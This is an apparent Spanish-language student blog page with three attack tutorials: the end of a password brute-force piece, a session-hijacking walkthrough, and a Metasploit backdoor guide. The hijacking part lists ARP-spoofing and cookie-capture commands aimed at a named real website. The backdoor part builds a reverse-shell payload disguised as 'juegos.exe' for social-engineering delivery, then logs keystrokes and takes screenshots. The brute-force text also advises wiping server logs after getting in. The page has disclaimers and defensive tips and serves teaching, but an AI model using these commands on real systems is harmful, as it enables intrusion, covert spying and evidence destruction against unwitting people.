  • No  hay total certeza de encontrar el password, sin embargo la efectividad de un ataque con diccionario es directamente proporcional al tamaño del diccionario, es decir, entre más grande sea el diccionario mayor sera la probabilidad de  encontrar la contraseña.
  • Algunos sysadmin inteligentes restringen  el número de intentos de autenticacion a un número no mayor a 3, así que si nos topamos con un servidor serio, no podremos aplicar el ataque por fuerza bruta.
  • Cuando nos encontramos un servidor “vulnerable” a un ataque de fuerza bruta con diccionario, debemos tener muchísimo cuidado, ya que un ataque de esta naturaleza  hace demasiado “RUIDO” es decir, todos los intentos de conexión quedaran guardados en los logs del servidor, por eso es pertinente usar un proxy para hacer el ataque, o  en su defecto borrar los logs, inmediatamente después de entrar al server

INTEGRANTES:

GABRIEL HUAYAMABE                  Twitter @Gabrielhuayamab

HENRY VALLE                                  Twitter @henryvallev

MARÍA DEL CARMEN LOAIZA      Twitter  @MaritaLoaiza

MIRASOL OLAYA

POR ULTIMO PRESENTAMOS EL VÍDEO DE NUESTRO ATAQUE GRACIAS POR SU ATENCIÓN 

http://www.youtube.com/watch?v=gL7EQuQbnG4


Robo de sesiones por medio de Cookies

ROBO DE SESIONES POR MEDIO DE COOKIES

(SessionHijacking)

 

 Aclaración:

El siguiente ataque tiene fines académicos, no nos responsabilizamos del uso que se le dé a esta información. Nuestro propósito es dar a conocer esta técnica para que usted se proteja de ataques similares.

Introducción:

 Este proyecto consiste en lo siguiente:

Cuando el usuario ingresa a una página web se crea una sesión aleatoria en el servidor web, esta sesión se almacena en una cookie. Esta cookie viaja por la web cada vez que el cliente navega por la aplicación. La cookie contiene un identificador de sesión.

Realizaremos un ataque para conseguir la sesión del usuario:Hombre en el medio (Man in themiddle – MITM).El atacante modifica la cookie e ingresa a la aplicación web con el contenido restringido de la víctima.En este caso usaremos Greasemonkeycon CookieinjectorScript, el cual es un Plugin de Mozilla Firefoxque permite ingresar la cookie capturada mediante MITM.

Objetivos:

Este tutorial tiene como propósito mostrar la utilidad de herramientas con las que cuenta BackTrack (como Wireshark).

Además la técnica explicada en esta presentación tiene por objetivo darnos a conocer uno de los métodos utilizados por los hackers para robar y secuestrar sesiones de aplicaciones web, y así demostrarnos la vulnerabilidad a la cual estamos expuestos y la manera cómo podemos defendernos de la misma, sin necesidad de ser expertos en el área informática, ya que son estos los que están más propensos a este tipo de ataques.

 

 Diagrama del ataque:  

Alcance:

 Este ataque es posible realizarlo en equipos dentro de una misma red LAN.

Glosario:

Cookie: Es una pequeña pieza de información enviada por un sitio web, las cuales son almacenadas por los servidores Web en el navegador del usuario del sitio, para guardar y recuperar información acerca de sus visitantes.

Sesión: Es la duración de una conexión entre un usuario(el agente) y un servidor, generalmente involucrando el intercambio de múltiples paquetes de datos entre la computadora del usuario y el servidor.

URL: Es una dirección que permite acceder a un recurso disponible en la web como páginas y archivos gif, jpg, etc.

Red LAN: Una red de área local (del inglés local areanetwork) es la interconexión decomputadoras personales y estaciones de trabajo en oficinas, fábricas, etc.

Puerto: Es una zona en la que dos ordenadores (hosts) intercambian información.

 

 Tutorial:

Para empezar realizaremos un análisis con nmap en la red para localizar el objetivo (IP de la máquina a cual haremos el ataque).

nmap-f 192.168.xx.xx/24

Abrimos una nueva terminal e iniciamos un ataque MITM (Hombre en el Medio).

sudo echo 1 >> /proc/sys/net/ipv4/ip_forward

 Iniciamos el Arpspoofing para capturar todo el tráfico:

sudoarpspoof -i [su interfaz] -t [IP de su objetivo] [puerta de enlace predeterminada]

sudoarpspoof -i eth0 -t 192.168.13.137 192.168.13.2

Abrimos otra terminal y escribimos el siguiente comando:

sudoarpspoof -i [su interfaz] -t [puerta de enlace predeterminada] [IP de su objetivo]

sudoarpspoof -i eth0 -t 192.168.13.2 192.168.13.137

Abrimos el browser (Mozilla Firefox) en el cualtendremos que tener instalado: Greasemonkey y CookieinjectorScript, que son complementos que usaremos para inyectar la cookie.

Abrimos otra terminal e iniciamos la herramientawireshark para capturar los paquetes.

Abrimos la página a la cual vamos a realizar el ataque, en nuestro caso es: pupe.ameba.jp (página vulnerable), entrarpero sin loguearse.

Ahora seleccionamos nuestra interfaz (eth0).

La víctima debe haber iniciado sesión y estar conectada para poder realizarle el rastreo.

A continuación en wireshark, vamos a establecer un filtro en la parte superior izquierda”http.cookiecontains “datr” “. Esto debería mostrar sólo los paquetes capturados que contengan la cookie que estamos buscando.Buscamos la cookie con el label “GET”. Una vez que hayamos encontrado la cookie adecuada, hacemos clic en la línea de la cookie, y dandoclicderecho elegimosCopy -> Bytes (Printable Text Only).

Ahora regresamos al browser y sobre la página que habíamos abierto anteriormente pulsamos ALT + C para abrir el cuadro de diálogo del cookieinjector, y dentro pegamos la cookie que acabamos de copiar.

Una vez pegada la cookie damos OK y se mostrará este mensaje:

Por último sólo tenemos que dar refresh a la página y listo, ahora estás conectado con la sesión de tu víctima.

Video Explicativo

Recomendaciones:

 Para protegerse contra este tipo de ataque es recomendable usar conexiones HTTPS en todas las páginas que lo soporten cada vez que vamos a iniciar una sesión, ya que con esto los datos enviados y recibidos son codificados y los terceros servicios no pueden descifrar estos datos. Esto les da una ventaja en seguridad con respecto a las conexiones HTTP.Sólo se debe colocar “https://” en la URL, por ejemplo: https://www.facebook.com.

Por otro lado, si la víctima cierra su sesión, la sesión del atacante será inválida, por eso se sugiere finalizar correctamente la sesión, y no utilizar la casilla de verificación “recuérdame”.

Conclusiones:

 Es muy fácil realizar este ataque, basta con tener las herramientas necesarias y el conocimiento básico para poder llevarlo a cabo. Hoy en día se han desarrollado muchas técnicas de hackeo que están al alcance de todo tipo de usuarios inclusive inexpertos, y son esos mismos inexpertos los que se verán afectados con este tipo de ataque al no estar preparados para prevenirlos.

 

Integrantes: 

Diana Gordillo Vanegas @Diana_DGV

Yamil Cabello Olivo @Yaco91

Omayra Palma Cedeño @yuunavamp

Kevin Gómez @kevingomez25

Glenda Leytong @GlendLeytng

Aclaración:

El Siguiente ataque tiene fines académicos, no nos responsabilizamos del uso que se le dé a ésta información. Nuestro propósito es dar a conocer esta técnica para que usted se proteja de ataques similares.

Ataque BackDoor (Puerta Trasera)

Introducción:

¿Qué es Backdoor (Puerta Trasera)?

Es una secuencia especial dentro del código de programación, mediante la cual se pueden evitar los sistemas de seguridad del algoritmo (autentificación) para acceder al sistema. Aunque estas puertas pueden ser utilizadas para fines maliciosos y espionaje no siempre son un error, pueden haber sido diseñadas con la intención de tener una entrada secreta.

  • El Ataque Backdoor consiste en que un atacante remoto logra acceso ilegal a la máquina de un usuario y, eventualmente, puede tomar el control completo de la misma. Con sus puertas abiertas de par en par, la máquina afectada es el lugar perfecto para la recolección de datos sensibles.

Características:

  • Son invisibles por el usuario.
  • Se ejecutan en modo silencioso al iniciar el sistema.
  • Pueden tener acceso total a las funciones del  host-víctima.
  • Difícil eliminarlos del sistema ya que se instalan en carpetas de sistema, registros o cualquier dirección.
  • Usa un programa blinder para configurar y disfrazar al servidor para que la víctima no lo detecte fácilmente.

¿Qué se puede hacer con ataque Backdoor?

  • Ejecutar aplicaciones (instalaciones de programas, anular procesos, etc.).
  • Modificar parámetros de configuración del sistema.
  • Extraer y enviar información (archivos, datos, etc.) al host-victima.
  • Substraer o cambiar los password o archivos de password.
  • Mostrar mensajes en la pantalla.
  • Manipular el hardware de la host-víctima.
  • Acceso total a las funciones de la PC.

Objetivos del Ataque Backdoor:

Eludir los procedimientos habituales de autenticación al conectarse a una computadora. Instalándose una puerta trasera para permitir un acceso remoto más fácil.

Lograr una gran cantidad de computadoras infectadas para disponer de ellos libremente hasta el punto de formas redes de Zombies.

Diagrama del Ataque:

Usamos como Víctima:

Windows Xp SP3:

IP 192.168.94.132  NM 2555.255.255.0

Backtrack 5:

IP 192.168.94.133  NM 2555.255.255.0

Alcance:

“Cualquier medio capaz de ampliar el alcance del hombre es lo suficientemente poderoso como para derrocar su mundo. Conseguir que la magia de ese medio trabaje para los fines de uno, antes que en contra de ellos, es alcanzar el conocimiento.”  por Alan Kay

Por medio de este ataque nos referimos a una forma “no oficial” de acceso a un sistema o a un programa.

Estos programas no se reproducen solos como los virus, sino que usualmente nos son enviados con el fin de tener acceso a nuestros equipos a través del correo electrónico, por lo que no son fáciles de detectar y por si solos no siempre causan daños ni efectos inmediatos por su sola presencia, por lo que pueden llegar a permanecer activos mucho tiempo sin que nos percatemos de ello.

Como todo en Internet se basa en la arquitectura cliente/servidor, sólo se necesita instalar un programa servidor en una máquina para poder controlarla a distancia desde otro equipo, si se cuenta con el cliente adecuado, ésta puede bien ser la computadora de un usuario descuidado o poco informado.

Glosario:

  • SUDO.- permite a los usuarios ejecutar programas con los privilegios de seguridad de otro usuario (normalmente el usuario root) de manera segura. Se instala por defecto en /usr/bin.
  • MSFPAYLOAD.- línea de comandos de Metasploit que se utiliza para generar y dar salida a todos los diversos tipos de shellcode que están disponibles en Metasploit.
  • MSFCONSOLE.- Es un intérprete de comandos para realizar las pruebas sus penetración.
  • EXPLOIT.- Es un programa que explota una o varias vulnerabilidades en un software dado, frecuentemente es utilizado para ganar acceso a un sistema y tener un nivel de control sobre él.
  • PAYLOAD.- Es un programa que acompaña a un exploit para realizar funciones especificas una vez el sistema objetivo es comprometido, la elección de un buen payload es una decisión muy importante a la hora de aprovechar y mantener el nivel de acceso obtenido a un sistema, principalmente por el hecho de que en muchos sistemas existen firewalls, Antivirus y sistemas de detección de intrusos que pueden dificultar la actividad de algunos payloads.
  • SCREENSHOT.- Para capturar los elementos vistos en el monitor u otro dispositivo de salida visual.
  • KEYSCAN_START.- Para capturar los elementos que la victima teclee.
  • KEYSCAN_DUMP.- Para mostrar los elementos que fueron capturados.

Tutorial:

1. Instalar BackTrack 5

2. Ingresar con Usuario: root y Contraseña: toor. Para poner en modo gráfico tipear el: start x

3. Abrir Terminal

4. Modificar la dirección IP de nuestra máquina con el siguiente comando: sudo nano etc/network/interfaces

5. Se debe setear de manera estática : auto eth0 inet static. Nuestra IP debe ser parecida a la de la máquina Victima.

6. Crear el archivo ejecutable en nuestro caso se llamará juegos.exe:

msfpayload Windows/meterpreter/reverse_tcp LHOST= 192.168.94.133 LPORT=4444 X > juegos.exe

Luego se nos indica que el archivo ha sido creado.

Y a continuación lo podemos visualizar en Places/Home Folder:

Nota: Este archivo ejecutable lo podemos hacer llegar a la víctima, mediante ingeniería social, u otros medios como dispositivos de almacenamiento.

7. Para ir a la consola de MetaExploit usar el siguiente comando: msfconsole

Con esto se cargarán todas las herramientas para el ataque.

8. Para poder ejecutar los archivos que hemos enviado usar: use exploit/multi/handler

9. Ahora para encontrar vulnerabilidades de los puertos de la victima escribir:

set PAYLOAD Windows/meterpreter/reverse_tcp

Y setear nuestra IP y PUERTO

10. Necesitamos saber si todo lo hecho está correcto para ello utilizamos el comando: show options

11. Usar el siguiente comando: exploit.

Debemos esperar hasta cuando la víctima haya ejecutado el archivo.

12. En este caso por motivos académicos lo pasamos vía USB y lo ejecutamos en nuestra máquina Víctima.

13. Una vez que la victima haya ejecutado nos indicará que una sesión ha sido iniciada:

Ahora que ya tenemos Acceso a nuestra Victima podemos realizar los ataques.

14. Para capturar la pantalla de la victima usamos: screenshot /img.jpg

15. Otro ataque es saber todo lo que la victima teclee, para ello utlizamos el comando: keyscan_start, para inicializarlo. Y keyscan_dump para ver todo lo tecleado.

La victima escribe, y nos aparecerá en el terminal.

16. También podemos ver todos los directorios que tiene nuestra victima con el comando: ls

Podemos crear carpetas en la máquina victima por ejemplo: mkdir (nombre_de_carpeta)

17. Podemos ver los procesos que tiene activos por ejemplo: en Windows Xp (nuestra víctima) abrimos Internet Explorer.

Luego en el terminal (BackTrack) con el comando ps –aux (para ver los procesos)

Y con el comando Kill y el número de proceso, le matamos el proceso, en este caso: kill 1272

18. Finalmente un último ataque reiniciamos la máquina de la víctima con el comando: reboot

A continuación el vídeo

Recomendaciones:

  • Tener siempre el software actualizado pues así se instalan los parches de seguridad del sistema.
  • Procura no usar claves con nombres obvios asociados a los usuarios, preferible usa contraseñas de alta seguridad para evitar los ataques de diccionario.
  • Usa estricta política de manejo y control de los usuarios en carpetas compartidas.
  • Utilizar cuentas de usuario con privilegios limitados
  • Procura no instalar programas de dudosa procedencia ya sean estás descargas de internet, correos y medios extraíbles.
  • Configurar las zonas de internet Explorer y el filtrado de URL.
  • Activa el firewall (Filtrado y protección de las comunicaciones).
  • Evitar ejecutar programas de los que no sepamos su procedencia, tanto en anexos de correo, ICQ, messanger y descargas de Internet (ya sean vía Web o FTP).

Conclusiones:

  • Como reflexión sobre este tipo de ataque es que debemos tomar ciertas medidas básicas para estar a salvo de las puertas traseras y el delicado riesgo para la seguridad que estas representan.
  • Al realizar nosotros este tipo de ataque logramos darnos cuenta como tan fácilmente las personas caen sin saber que esto les puede causar riesgos en su computadoras, el cual por medio de esta experiencia adquirida sabemos como estar alertas y protegidos sobre este ataque.

Integrantes:

  • Vicky Bravo Romero
  • Vicente Cabrera Martínez
  • Jhonatan Ortega Veloz
  • Xiomara Torres Ruíz
  • Darwin Vargas

Siguenos en Twitter:

@VickyBravoRo  @VicEmys  @JH_1805  @XiomyAndrea22  @7Vargas15

Seguir

Recibe cada nueva publicación en tu buzón de correo electrónico.

Únete a otros 48 seguidores